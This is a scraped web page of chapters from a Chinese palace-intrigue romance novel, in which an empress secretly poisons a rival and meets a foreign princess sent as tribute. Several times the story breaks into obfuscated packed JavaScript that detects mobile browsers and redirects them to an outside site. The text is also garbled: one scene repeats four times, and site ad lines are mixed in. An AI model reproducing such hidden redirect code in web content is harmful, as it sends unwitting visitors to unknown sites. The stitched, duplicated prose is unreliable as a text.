她恼羞成怒可偏偏裴墨染察觉不到还在嘚瑟“娘子真是对不住我可不能答应你你想要我等你身子养好了再说!” 云清婳:??? 谁想要他啊? 贱不贱啊? 她将手从他的亵衣里拿出来猝不及防地甩了他一巴掌“滚!不许上我的榻。” 裴墨染被打懵了 最后两个字他很小声说了出来。 “滚!”云清婳使劲推他。 可裴墨染纹丝不动她的气力与他而言像是蚍蜉撼树。 他抓着她的双手塞进亵衣里放在腹肌上“我滚了谁给你暖手?随便你摸便宜你了。” 云清婳实在气不过又赶不走他羞愤交加下在他胸口上狠狠咬了一口“臭不要脸!” 他宠溺道:“蛮蛮别生气了我错了不逗你了。” 云清婳耸了耸鼻子她突然想起一件事“今日我把苏采薇也给打了。” 裴墨染扑哧又笑了“要不是我爹死得早我全家恐怕都要被你打遍了。” 她故意怼他“是啊顺手的事。” 裴墨染又笑了。 …… 翌日天没亮裴墨染便去上朝了。 此次改革从瓦解党派、分权、财政入手触及了许多开国元老、一品大员的利益今日终于到了结算的日子对于裴墨染而言是一场硬仗。 云清婳悠悠地喝完药便敲响了两个小奶包的门。 他们已经穿衣洗漱完毕用完了早膳。 “娘亲……”两个小奶包异口同声笑嘻嘻地看着她。 云清婳莞尔她弯下 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468215|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 腰,平视着他们的眼睛。 她的声音温柔,却字字铿锵有力,“福海今日不会再掉进池塘了吧?” “……” 承基、辞忧的脸上划过复杂的神色。 这个问题让奶娘、飞霜都摸不着头脑。 皇后娘娘为何突然前言不搭后语,问了这句话? “娘亲,福海掉进池塘了吗?”承基反问,一双葡萄眼澄澈透亮。 辞忧捂着嘴,露出惊讶的表情,“啊?” 云清婳的眸中闪过暗色。 又是这种反应……跟她小时候一模一样。 看见他们,就像在照镜子。 但云清婳的心里装着希冀,她盼望两个孩子跟其他孩子一样,是正常人。 她愿意相信,昨晚的事与他们无关。 她不想再深究下去。 因为深究下去,只会让她心烦。 “承基、辞忧,今日娘亲陪你们去跟胡太傅道歉。”她话锋一转,揉揉他们的脑袋,“娘亲喜欢好孩子,你们会做好孩子对吗?” 承基、辞忧立即点头,“对。” “这便好。”云清婳分别在他们的脸蛋上亲了一口,“否则娘亲会伤心的,永远不要让娘亲伤心。” “嗯!”两个小包子同时点头。 云清婳将孩子送去上书房,给胡尚杰道了歉,胡尚杰并不计较,他年逾六十,心思豁达。 离开上书房后,飞霜问道:“主子,早上的时候为何问了孩子那个问题?” “我怀疑,他们跟我一样。”云清婳道。 云清婳情感缺失的问题,除了谢容音,云清婳也跟飞霜透露过五成。 飞霜的眼中满是担忧,“主子莫要想多了,太子跟公主机灵活泼,跟天底下所有孩子都一样,非说不一样,那便是他们更聪明。” “这正是我所担心的。”云清婳吐出一口浊气。 “有您跟皇上看着,就算有虞,也不会酿成大祸。”飞霜安慰。 云清婳颔首,“今日的毒下了吗?” 飞霜扯出一抹阴恻恻的笑,“毒掺在饭菜里,苏采薇已经吃下去了,这种药会上瘾,很快她会抓心挠肝,生不如死。” 第378章 云家终于拨云见日 “苏采薇不是怕死吗?她既然那么想活着,我就成全她,我要让她知道什么是生不如死。”云清婳冷嗤。 “接下来就是裴云澈了吧?”飞霜的眼中跳动着兴奋。 她想知道主子接下来会怎么做。 “自然,我已经帮裴云澈想好死法了。” 都怪狗男人,明明一声令下就能完成的事,却拖拖拉拉不肯去做。 害她不得不亲自动手。 “对了,我这里有封信,你找准时机托人带给表哥。”云清婳道。 飞霜有些为难,“主子,如今在宫里,不同以往了,处处都是眼睛盯着咱们。送信出去十有**会锦衣卫、御林军之类的拦截住。” “无妨,我送的又不是见不得人的东西。”云清婳丝毫不虚。 而且她相信,她跟裴墨染之间这点信任还是有的。 裴墨染不至于拦截她的信。 …… 比云清婳想象中顺利,还没到晌午,裴墨染便下朝了。 裴墨染为了集权,废了丞相一职,设立了内阁,让云苍鹤担任内阁首辅、诸葛贤为次辅,吏户礼兵刑工六部也都被塞进了他的亲信。 他表面上在拿云家开刀,让所有人掉以轻心,可实际上他的势力深入到了各个部门。 等众人反应过来时,一切都晚了。 跟原著不同,这一次诸葛贤无虞,所以裴墨染改革的重点、计策都截然不同了。 恰好今日有后妃生产,云清婳亲自去看了,确定分娩顺利她才离开。 云清婳回坤宁宫时,裴墨染已然在等候。 他看到云清婳眼前一亮,他起身迫不及待将她揽入怀中。 “蛮蛮……” 她熟稔地抱着他的腰,“我还以为夫君要很久呢。” “哪有你想的这么艰难?”他轻点她的鼻尖,“蛮蛮,朝上的事情你听说了吗?你可满意?” “夫君这次阵仗这么大,我想不知道都难。我就知道夫君心中是有我的,夫君不会骗我。” 裴墨染看着她娇憨的模样,心中最柔软的部分仿佛被击中,心脏酥酥麻麻的。 他感到一片熨贴,这一刻恐怕蛮蛮提出什么要求,他都会允诺她。 可裴墨染嘴角的笑 弧还未形成,云清婳便道:“陈如燕正在生产,夫君不去看看?” “……” 他凝眉,蛮蛮怎么这么会煞风景? 正温存呢,提别人作甚? “当年你生产,我都不在身边,我去看旁人生产作甚?更何况我又不是产婆跟神医,我去看了孩子就能立马生出来?”他不悦地反问。 云清婳努努嘴,“说不准呢?没准听说皇上来了,她一激动就生出来了。” 他捏捏她的脸蛋,无奈道:“你的小嘴巴整日净胡说八道,承基、辞忧定是跟你学的。” 她白了他一眼,眼神变得忧虑。 若是可以,她宁愿孩子的性子不要像她。 “恭喜皇上、恭喜皇上,燕嫔娘娘生了……”王显乐颠颠地跑了进来,笑容灿烂。 裴墨染看着王显欢欣雀跃,笑得如此明媚开朗,他不禁产生片刻怀疑。 这孩子……不是王显的,对吧? 云清婳也觉得好笑,王显怎么比裴墨染还兴奋? “是男是女?”裴墨染问。 王显似乎早就等裴墨染问了,他高声答道:“是公主。” 裴墨染颔首,他笑道:“按照嫔妃规格送去赏赐跟补品,让产婆、太医务必看好公主,必不能让公主跟燕嫔有任何闪失。” “是。” 王显走后,裴墨染惆怅地叹了口气。 云清婳知道裴墨染喜欢女儿,但他现在的表现很不对劲,她轻拍他的背,“夫君为何叹气?莫不是想要儿子?” 裴墨染立即摇头,“蛮蛮,你怎么这么想我?我又不是那种迂腐之人,有了承基后,儿子、女儿与我而言都是一样的。” 云清婳理解他的意思,毕竟他家里是真有皇位要继承。 她不解:“那夫君为何闷闷不乐?” “陈如燕这个男人婆,她偏生又生了女儿,假如孩子被她教成男人婆了怎么办?”他小声解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468216|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 云清婳在他腰间掐了一把,“什么男人婆?世间女子千千万万,便会有千千万万不同脾性的女子,难道女人不温婉文静,就是男人了?凭什么男人文静就是温文尔雅,有书香之气?男人粗鲁就是性情豪放?” 裴墨染思索片刻,缓缓颔首,“我知道了,娘子说得对 ,是我浅薄了。 “辞忧以后还不知道会长成什么样呢,夫君以后不许胡说了。她戳了下他的脸。 他笑道:“我知道,辞忧一定跟蛮蛮一样,是个小辣椒。 她瘪瘪嘴,“辞忧的性子明明更像你,谁也不服,蔫坏欠揍。 “谁说我谁也不服?我不是被你治得服服帖帖?辞忧跟承基也是。裴墨染笑着,他语气里还带着骄傲。 云清婳不明白他骄傲个什么劲儿。 “小公主的名字、封号,夫君是时候想想了。云清婳将取名锦册递给他。 裴墨染将锦册随意甩在桌上,“此事自有宗人府跟内务府想,不急。 他默了默,忽然又道:“蛮蛮,今日锦衣卫在宫门口的太监身上搜出了一封信,是从坤宁宫出来的,上面是你的字迹,我已经放行了。 “嗯。云清婳应声。 裴墨染的眉沉了沉,“是给谢国公府的? 她颔首。 他的唇瓣微张,似乎有些难以启齿。 云清婳白了他一眼,“你是想问,是不是给表哥的? “这可是你说的,我可什么都没说。裴墨染掀起眼皮子,悄悄看她。 “宫里怎么处处都是眼线?云清婳伸手拧着他的耳朵。 裴墨染慌了,他立刻解释:“蛮蛮,我可没让人监视你,锦衣卫对皇帝负责,太爷爷以来便是如此。他们的密探遍地,多如牛毛,别说皇宫的一举一动,就连京城的一举一动,只要他们愿意查,一切都了如指掌。 云清婳咽下了口水,她的心脏猝然狂跳。 若是如此,先帝对她多有芥蒂,不是没有缘由的。 先帝也许知道了她做的不少事,但都选择睁一只眼,闭一只眼,按住不发。 第379章 主子为何突然对他这么好? “蛮蛮,你给谢泽修写了什么?裴墨染小心翼翼地问。 云清婳睨他,她好笑地问:“锦衣卫不是把信拦截了吗?夫君没拆开看? 裴墨染正色道:“我自然不会看,我们是夫妻,我尊重你,我怎能私拆你的信笺? 云清婳感到欣慰。 狗男人是真的被调教好了,少说也超过七成男人了。 “要是我,我一定会拆开你的信看。她笑道。 裴墨染冷嘁,他确信道:“蛮蛮绝对不会,我的信都是军政要务,你分得清轻重缓急。 “指不定是你给哪个女子写的情诗呢?我查看有没有**。她勾勾他的下巴。 他急了,陡然拔高声音,“蛮蛮!我怎会背着你跟其他女子乱来?而且我怎会写情诗?我的文采你又不是不知道,我写的情诗就算好意思送出去,别人也没眼看! “呵……云清婳被他的口不择言逗笑了,“我逗你玩呢。 “以后别开这种玩笑。裴墨染的双眼写满了认真。 他不喜欢这种玩笑,因为他对她是完全忠诚的,他讨厌这种没轻没重的玩笑。 “好。云清婳抓住他的手,哄他,“我给表哥的不是什么重要东西,只是送了几张我随手画着玩的图纸,他从小便爱研究稀奇古怪的兵器。 “我也喜欢研究兵器,为何没人送我图纸?裴墨染酸溜溜道。 云清婳:“…… 王显简直没眼看。 他从小伺候皇上,他怎么不知道皇上喜欢研究兵器? “夫君,你去谢家问表哥要吧,让他分一半给你。她拍拍他的肩膀,递给他一个肯定的眼神。 “你还促狭我!裴墨染越想越气,“蛮蛮,为何谢泽修都有,我却没有? 云清婳嫌弃地瞥了他一眼,不耐烦地拿起绣篓中的绣品刺绣,“夫君怎么跟孩子一样斤斤计较?若是表哥喜欢研究**,你是不是还想尝尝咸淡? “谁斤斤计较?我也没有很想要图纸,我可是皇上,我想要什么东西没有?裴墨染嘴硬道。 她敷衍的颔首,“皇上,请您让让,挡着光了。 “……裴墨染不情不愿地闪开身,可怜兮兮地看着她。 云清婳佯装不知,压根不分一个眼神给他。 狗男人又犯病了,没事找事。 不过,她也很疑惑。 她跟裴云澈有来往时,裴墨染的反应貌似都没这么大。 裴墨染对谢泽修的醋意真是非同一般。 …… 晚上,裴墨染喂完云清婳喝药后,他早早上了榻。 云清婳坐在床榻边缘,榻边铺着一层厚重软和的白貂绒毛毯,坐在上面十分舒服。 榻前摆着火炉,她正悠悠地刺绣。 裴墨染平躺着,他伸手戳戳云清婳的腰,“蛮蛮,谢泽修多大年纪了?” “跟你差不多。”她心不在焉地回道。 “他文武双全,仪表堂堂,就没提过婚事?”他问。 “没呢。” 裴墨染的眼中闪过精光,“他如此优秀,为何还没娶妻?” 云清婳刺绣的手停住了,她回过头,不善地睨他,“你怎么一晚上张口闭口都是表哥?你这么喜欢他,你嫁给他算了。” “我嫁给他?美的他!”裴墨染从榻上起身,他从她的身后抱住她,双臂缠着她纤细的腰肢,下巴搁在她的肩膀上,“他就没跟你提过,喜欢哪家小姐?” 云清婳的黛眉一蹙,“他为何要跟我说?” 她忽的话锋一转,“不对,表哥说了。” 裴墨染的眼神暗了暗,“他跟你说了?说了什么?他的心上人是谁?” 他的语气渐渐不善,一句比一句声高。 “你认识,你特别熟悉,你天天见。”云清婳拍开腰间的手。 裴墨染捏着拳头。 他就知道谢泽修不是好东西,他为何也这么不要脸? 蛮蛮早已嫁做人妇,孩子都有两个了,他怎敢对蛮蛮表明心意的? “是谁?”他咬牙切齿。 这一刻,他砍谢泽修脑袋的念头都跳出来了。 “是你!他喜欢你,想要娶你,以后你当我嫂嫂,你满意了吗?”云清婳拧着他的耳朵,“裴墨染,你再发疯就滚出去!不许上我的榻!” 裴墨染像是霜打的茄子,瞬间蔫了,“蛮蛮,你别生气,我没有怀疑你的意思,我就是随便问问……” 她松开他,懒得搭理他,扭过身 继续刺绣。 “……”裴墨染无力地躺在榻上,他轻拍了下自己的嘴。 他真是嘴贱,早知道就不问了。 现在好了,蛮蛮生气了。 都怪谢泽修! 烛台上,蜡烛快要燃尽,光线陡然变暗。 云清婳轻声道:“夫君。” “怎么了?蛮蛮?”裴墨染殷勤地起身。 她掀开被子,裴墨染不解的看着她,云清婳拿出绣了一半的护膝,在他的膝盖上比划了下。 裴墨染的眼中像是炸开了烟花,晦暗的眸瞬间点亮,他有些难以置信,向她确认道:“送我的?” 云清婳看他这副不值钱的模样,忍俊不禁,“春寒料峭,你之前伤了膝盖,日后夜里批改奏折可以保暖。” “我就知道娘子心里最重要的人肯定是我。”他欢喜的从她手里接过护膝,仔细地打量。 “还没绣好呢,你别弄坏了。”她看着护膝,眸中倒映出复杂的光。 裴墨染爱不释手地看了好一会儿,云清婳才从他手里把护膝夺回来。 她将护膝交给飞霜。 二人走去纱橱旁说话,飞霜将护膝放在樟木箱子里,她小声道:“主子真是心思缜密。” “为何这么说?”云清婳反问。 飞霜一怔,她解释:“主子做这副护膝,难道不是为了到时候东窗事发,让皇上睹物思人,顾念您的好?” 毕竟主子已经不想演了。 很快,她们所做的一切都会浮出水面。 到那时候,她们的生死全掌控在皇上手里。 云清婳无奈的摇摇头,她轻点飞霜的额头,“傻丫头,你对我这么没自信?裴墨染早就被我训成狗了,我何须用劳什子护膝博可怜?” “那您为何做护膝?突然对他这么好?”飞霜不解。 你的朋友正在书荒,快去帮帮他吧 继续刺绣。 “……”裴墨染无力地躺在榻上,他轻拍了下自己的嘴。 他真是嘴贱,早知道就不问了。 现在好了,蛮蛮生气了。 都怪谢泽修! 烛台上,蜡烛快要燃尽,光线陡然变暗。 云清婳轻声道:“夫君。” “怎么了?蛮蛮?”裴墨染殷勤地起身。 她掀开被子,裴墨染不解的看着她,云清婳拿出绣了一半的护膝,在他的膝盖上比划了下。 裴墨染的眼中像是炸开了烟花,晦暗的眸瞬间点亮,他有些难以置信,向她确认道:“送我的?” 云清婳看他这副不值钱的模样,忍俊不禁,“春寒料峭,你之前伤了膝盖,日后夜里批改奏折可以保暖。” “我就知道娘子心里最重要的人肯定是我。”他欢喜的从她手里接过护膝,仔细地打量。 “还没绣好呢,你别弄坏了。”她看着护膝,眸中倒映出复杂的光。 裴墨染爱不释手地看了好一会儿,云清婳才从他手里把护膝夺回来。 她将护膝交给飞霜。 二人走去纱橱旁说话,飞霜将护膝放在樟木箱子里,她小声道:“主子真是心思缜密。” “为何这么说?”云清婳反问。 飞霜一怔,她解释:“主子做这副护膝,难道不是为了到时候东窗事发,让皇上睹物思人,顾念您的好?” 毕竟主子已经不想演了。 很快,她们所做的一切都会浮出水面。 到那时候,她们的生死全掌控在皇上手里。 云清婳无奈的摇摇头,她轻点飞霜的额头,“傻丫头,你对我这么没自信?裴墨染早就被我训成狗了,我何须用劳什子护膝博可怜?” “那您为何做护膝?突然对他这么好?”飞霜不解。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 继续刺绣。 “……裴墨染无力地躺在榻上,他轻拍了下自己的嘴。 他真是嘴贱,早知道就不问了。 现在好了,蛮蛮生气了。 都怪谢泽修! 烛台上,蜡烛快要燃尽,光线陡然变暗。 云清婳轻声道:“夫君。 “怎么了?蛮蛮?裴墨染殷勤地起身。 她掀开被子,裴墨染不解的看着她,云清婳拿出绣了一半的护膝,在他的膝盖上比划了下。 裴墨染的眼中像是炸开了烟花,晦暗的眸瞬间点亮,他有些难以置信,向她确认道:“送我的? 云清婳看他这副不值钱的模样,忍俊不禁,“春寒料峭,你之前伤了膝盖,日后夜里批改奏折可以保暖。 “我就知道娘子心里最重要的人肯定是我。他欢喜的从她手里接过护膝,仔细地打量。 “还没绣好呢,你别弄坏了。她看着护膝,眸中倒映出复杂的光。 裴墨染爱不释手地看了好一会儿,云清婳才从他手里把护膝夺回来。 她将护膝交给飞霜。 二人走去纱橱旁说话,飞霜将护膝放在樟木箱子里,她小声道:“主子真是心思缜密。 “为何这么说?云清婳反问。 飞霜一怔,她解释:“主子做这副护膝,难道不是为了到时候东窗事发,让皇上睹物思人,顾念您的好? 毕竟主子已经不想演了。 很快,她们所做的一切都会浮出水面。 到那时候,她们的生死全掌控在皇上手里。 云清婳无奈的摇摇头,她轻点飞霜的额头,“傻丫头,你对我这么没自信?裴墨染早就被我训成狗了,我何须用劳什子护膝博可怜? “那您为何做护膝?突然对他这么好? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 继续刺绣。 “……”裴墨染无力地躺在榻上,他轻拍了下自己的嘴。 他真是嘴贱,早知道就不问了。 现在好了,蛮蛮生气了。 都怪谢泽修! 烛台上,蜡烛快要燃尽,光线陡然变暗。 云清婳轻声道:“夫君。” “怎么了?蛮蛮?”裴墨染殷勤地起身。 她掀开被子,裴墨染不解的看着她,云清婳拿出绣了一半的护膝,在他的膝盖上比划了下。 裴墨染的眼中像是炸开了烟花,晦暗的眸瞬间点亮,他有些难以置信,向她确认道:“送我的?” 云清婳看他这副不值钱的模样,忍俊不禁,“春寒料峭,你之前伤了膝盖,日后夜里批改奏折可以保暖。” “我就知道娘子心里最重要的人肯定是我。”他欢喜的从她手里接过护膝,仔细地打量。 “还没绣好呢,你别弄坏了。”她看着护膝,眸中倒映出复杂的光。 裴墨染爱不释手地看了好一会儿,云清婳才从他手里把护膝夺回来。 她将护膝交给飞霜。 二人走去纱橱旁说话,飞霜将护膝放在樟木箱子里,她小声道:“主子真是心思缜密。” “为何这么说?”云清婳反问。 飞霜一怔,她解释:“主子做这副护膝,难道不是为了到时候东窗事发,让皇上睹物思人,顾念您的好?” 毕竟主子已经不想演了。 很快,她们所做的一切都会浮出水面。 到那时候,她们的生死全掌控在皇上手里。 云清婳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”裴墨染无力地躺在榻上他轻拍了下自己的嘴。 他真是嘴贱早知道就不问了。 现在好了蛮蛮生气了。 都怪谢泽修! 烛台上蜡烛快要燃尽光线陡然变暗。 云清婳轻声道:“夫君。” “怎么了?蛮蛮?”裴墨染殷勤地起身。 她掀开被子裴墨染不解的看着她云清婳拿出绣了一半的护膝在他的膝盖上比划了下。 裴墨染的眼中像是炸开了烟花晦暗的眸瞬间点亮他有些难以置信 云清婳看他这副不值钱的模样忍俊不禁“春寒料峭你之前伤了膝盖日后夜里批改奏折可以保暖。” “我就知道娘子心里最重要的人肯定是我。”他欢喜的从她手里接过护膝仔细地打量。 “还没绣好呢你别弄坏了。”她看着护膝眸中倒映出复杂的光。 裴墨染爱不释手地看了好一会儿云清婳才从他手里把护膝夺回来。 她将护膝交给飞霜。 二人走去纱橱旁说话飞霜将护膝放在樟木箱子里她小声道:“主子真是心思缜密。” “为何这么说?”云清婳反问。 飞霜一怔她解释:“主子做这副护膝难道不是为了到时候东窗事发让皇上睹物思人顾念您的好?” 毕竟主子已经不想演了。 很快她们所做的一切都会浮出水面。 到那时候她们的生死全掌控在皇上手里。 云清婳无奈的摇摇头她轻点飞霜的额头“傻丫头你对我这么没自信?裴墨染早就被我训成狗了我何须用劳什子护膝博可怜?” “那您为何做护膝?突然对他这么好?”飞霜不解。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 继续刺绣。 “……裴墨染无力地躺在榻上,他轻拍了下自己的嘴。 他真是嘴贱,早知道就不问了。 现在好了,蛮蛮生气了。 都怪谢泽修! 烛台上,蜡烛快要燃尽,光线陡然变暗。 云清婳轻声道:“夫君。 “怎么了?蛮蛮?裴墨染殷勤地起身。 她掀开被子,裴墨染不解的看着她,云清婳拿出绣了一半的护膝,在他的膝盖上比划了下。 裴墨染的眼中像是炸开了烟花,晦暗的眸瞬间点亮,他有些难以置信,向她确认道:“送我的? 云清婳看他这副不值钱的模样,忍俊不禁,“春寒料峭,你之前伤了膝盖,日后夜里批改奏折可以保暖。 “我就知道娘子心里最重要的人肯定是我。他欢喜的从她手里接过护膝,仔细地打量。 “还没绣好呢,你别弄坏了。她看着护膝,眸中倒映出复杂的光。 裴墨染爱不释手地看了好一会儿,云清婳才从他手里把护膝夺回来。 她将护膝交给飞霜。 二人走去纱橱旁说话,飞霜将护膝放在樟木箱子里,她小声道:“主子真是心思缜密。 “为何这么说?云清婳反问。 飞霜一怔,她解释:“主子做这副护膝,难道不是为了到时候东窗事发,让皇上睹物思人,顾念您的好? 毕竟主子已经不想演了。 很快,她们所做的一切都会浮出水面。 到那时候,她们的生死全掌控在皇上手里。 云清婳无奈的摇摇头,她轻点飞霜的额头,“傻丫头,你对我这么没自信?裴墨染早就被我训成狗了,我何须用劳什子护膝博可怜? “那您为何做护膝?突然对他这么好?飞霜不解。 你的朋友正在书荒,快去帮帮他吧 第380章 一不小心,当众秀恩爱 “因为他的生辰快来了。”云清婳摊手。 就是这么朴实无华的理由。 若说还有其他的原因,大概是她真的有些担心裴墨染的膝盖? 毕竟大昭江山将来是她儿子的,裴墨染必须给承基把江山守好了! 飞霜恍然大悟。 …… 万寿节快到了,云清婳的身子未愈,准备万寿节的任务便落在内务府、魏娴身上。 云清婳每日只管过目内务府跟魏娴呈上来的进度。 魏娴行事周密,细致谨慎,云清婳草草看一眼,确定没有大碍便将万寿节的流程册放在一边。 她裹着厚重的大氅,斜斜地倚靠在引枕上,恬静的看着魏娴,“这几日辛苦阿娴了,我是不是害你没空照顾承宁了?” 魏娴嗔怪地瞥了她一眼,“承宁两岁了,蛮蛮若是真觉得愧对于我,就为他找个好先生。” “好!”云清婳一口应下。 她伸出手,攥住魏娴的手。 魏娴被云清婳手心的温度给冻得一颤,她吃惊地回握住云清婳的手,“飞霜,给皇后娘娘拿个汤婆子来。” 云清婳摇摇头,“没用的,全靠外物吊着,身子捂不热。” 魏娴的细眉缓缓皱起,她的眼中渐渐起了水意,“怎么回事?赵太医都没法子?” “毕竟是鹤顶红,能捡回一条命,都已经是上苍垂怜了。”飞霜捏着帕子擦了擦眼角。 魏娴的眼圈红了,她也不知为何,突然很想哭,“我还以为你是故意惫懒,不想准备万寿节。” “阿娴,日后都要有劳你了。”她惨白的唇掀起不明显的弧度。 她立即点头,“那是自然,你只管好好养身子,后宫一切都有我顾着。” 云清婳平静地摇摇头,她看着魏娴的双眼,“阿娴,我说的是承基、辞忧。” “……”魏娴一愣,随后她的眼泪都坠了下来。 她很想问一句,蛮蛮的身子都已经这么严重了吗? 可这是明知故问,鹤顶红啊,这般毒的**下了肚,怎会不严重? “皇上知道吗?世间就没有神医能治了?我不信!”魏娴哽咽道。 云清婳嘲讽地牵了牵唇,“我要让他记住我一辈子,这样,将来 他才会善待我珍视的一切。” 魏娴看她的眼神又添了一丝敬佩,蛮蛮居然已经想了这么远了。 就算将来真有什么三长两短,她的棋也已经布局到以后了。 “我们吃了好些苦才走到今天,如今终于可以过好日子了,怎会这样?”魏娴捂着脸,无声地流泪,肩膀轻轻耸动。 这种伤感跟失去至亲无异。 因为她每天都在畅想跟蛮蛮相互扶持,姐妹共同白首的场景。 她想着她跟蛮蛮七老八十,还在一起谈天说地,含饴弄孙。 可是,梦碎了…… 将来,尔虞我诈的后宫只有她一个人,只有她单打独斗,步步为营。 云清婳的心里升起了一丝丝愧疚。 她现在在为将来的离开铺路,只能委屈一下阿娴了。 “别哭了……”云清婳轻拍她的背脊。 魏娴做了几组深呼吸,很快调整好了情绪,“蛮蛮,你放心,如果真有意外,我定会待承基、辞忧视如己出,好好扶持承基上位。” 云清婳扑哧一声笑了,“我现在不是好好的吗?阿娴的眼泪还是流着将来哭吧!” “你怎么这么坏啊?”魏娴想笑,可眼泪比笑脸更快出来。 魏娴不想沉浸在悲伤中,她强行岔开话头,“蛮蛮,祝寿的名单里面有迟国,他们要进献国宝,据说是迟国的公主玉容,玉容生得极美,也不知皇上会不会动心。” “玉容让人动心的不是容貌,而是迟国为她造出的噱头。”云清婳的眸升起一层寒意,凝结成冰,“得玉容者,得天下。” “这是冲着你的皇后之位来的。”魏娴一语中的。 云清婳颔首,“皇后之位就摆在这里,那就要看看,她能不能拿走了。” 魏娴轻笑,“迟国是傻了吗?为了巴结大昭,居然想出这般拙劣的招数,也不怕一戳就破?” 云清婳的眼中跳动着兴奋,“我有点期待见到玉容了。” 因为在原著中,根本没有玉容这个角色。 就算剧情发生了改变,可为何凭空多了一个这般有“噱头”的角色? 事情绝对没这么简单。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“别生气啊,让我考虑考虑,我会给他安排一个适合他的去处。”裴墨染捻起一块芙蓉糕,递到她嘴边。 云清婳的脸瞬间红了。 狗男人疯了吗? 当现在还是当肃王、太子的时候? 群臣都看着呢! 第381章 皇上惧内? 她的脸红到了脖颈,身子僵硬了,她双手握拳,羞愤得恨不得找条地缝钻进去。 “夫君,所有人都看着呢。”她用气音道。 裴墨染一顿,他这才意识到——整个宴厅都安静了。 他尴尬地将芙蓉糕塞进嘴里,讷讷地评价了一句,“芙蓉糕不错。” 群臣都红了脸,垂下了脑袋。 云清婳看见爹娘跟哥哥都侧过脸去,根本没眼看。 裴云澈眼中的恨意翻滚。 似是看出了皇上的窘迫,乐师奏乐的声音陡然变大,殿中很快又恢复了方才的热闹。 仿佛方才的事根本没发生。 裴墨染面不改色,自如地一杯又一杯饮酒,接受着边陲小国的朝拜。 云清婳却没脸呆在这里了,她小声说:“我先下去了。” 男人铁钳般的大手,一把扼住她纤细的手腕,“娘子不许走,你怎可留下我一人丢脸?” 云清婳:…… “你还知道丢脸?”她甩了甩胳膊,可根本挣不脱他。 殿中央,一个不起眼的使臣跪下,他笑吟吟地叩首,“参见大昭皇上,外臣进贡迟国国宝。” 一石激起千层浪,蓦地,宴厅中哗声阵阵。 因为所有人都听闻了迟国的国宝。 那便是被国师批命的玉容公主。 许多江湖术士都断言——得玉容者,得天下。 云清婳跟裴墨染的目光齐齐地投注到宴厅中。 一个穿着白色襦裙,戴着面纱的女子婀娜多姿,婷婷袅袅地走来。 她的襦裙外罩着一层流光水色白纱,远远看上去像是坠入凡间的神女,不容侵犯。 还未看到真容,不少朝臣都看直了眼。 “玉容见过陛下。”玉容福福身。 裴墨染上下打量着她,面无波澜,让人看不出情绪。 但云清婳却不由得冷笑,裴墨染的确对女色兴致不高。 他对一个人没兴趣的时候,根本不会多看一眼。 但这个玉容,却让裴墨染上下打量。 由此可见,他心中多多少少是有想法的。 “平身。”裴墨染摆摆手。 “玉容公主是迟国的天女,更是我国陛下的掌 上明珠还请陛下善待公主!”使臣谄媚地说。 裴墨染的眉心一跳他心虚地斜睨着云清婳。 云清婳的太阳穴跳着疼。 群臣都看着呢裴墨染看她干什么? 别让别人以为她是母老虎裴墨染惧内啊! 云清婳递给他一个眼色:别人送你礼物你看**什么? 裴墨染:蛮蛮我真是什么都不知道!我对你的心天地可鉴!又有刁民想害朕! 云清婳:少磨叽!你快回答别人不许看我! “咳咳……”裴墨染收回眼神。 他面无波澜地看向迟国使臣他正欲拒绝迟国使臣便道:“陛下玉容公主被各国术士批命 玉容的声音如同婉转的黄鹂她娇声道:“玉容望得陛下垂怜。” 裴墨染:“……” 他的手缓缓攥起。 鸿胪寺卿出列道:“使臣莫急子不语怪力乱神倘若贵国真有诚意不如让玉容公主揭下面纱?” 几个后妃小声嘀咕“她一直不肯摘面纱不会相貌丑陋吧?” “难说呦倘若这个玉容当真这么神她父皇怎舍得把她送人?一定有什么难言之隐。” “说不定迟国就是故意搞出这个噱头然后骗陛下收了她。” “这……”迟国使臣为难地看向玉容。 玉容的双眼平静毫无为难之意“这有何难?” 她从容地缓缓揭下面纱。 面纱下是一张稚嫩清秀却不失精致的面孔虽然才十六岁但她的身形丰腴眉眼间透着少女的灵动与一丝女人的媚态。 魏娴都看直了眼一种威胁感直逼心头。 这个玉容的气质给人一种似曾相识的感觉。 跟云清婳当年的气场十分相似! 云清婳望着玉容玉容笑着与她对视。 云清婳挑眉。 她从玉容的眼中看到了深深的仇恨。 照理说她们是第一次见面就算玉容嫉妒她的皇后之位可也不会平白无故有这么深的仇恨。 这不对劲。 “敢问大昭皇帝可否为了两国和平接受迟国 的心意?使臣坚持不懈地询问。 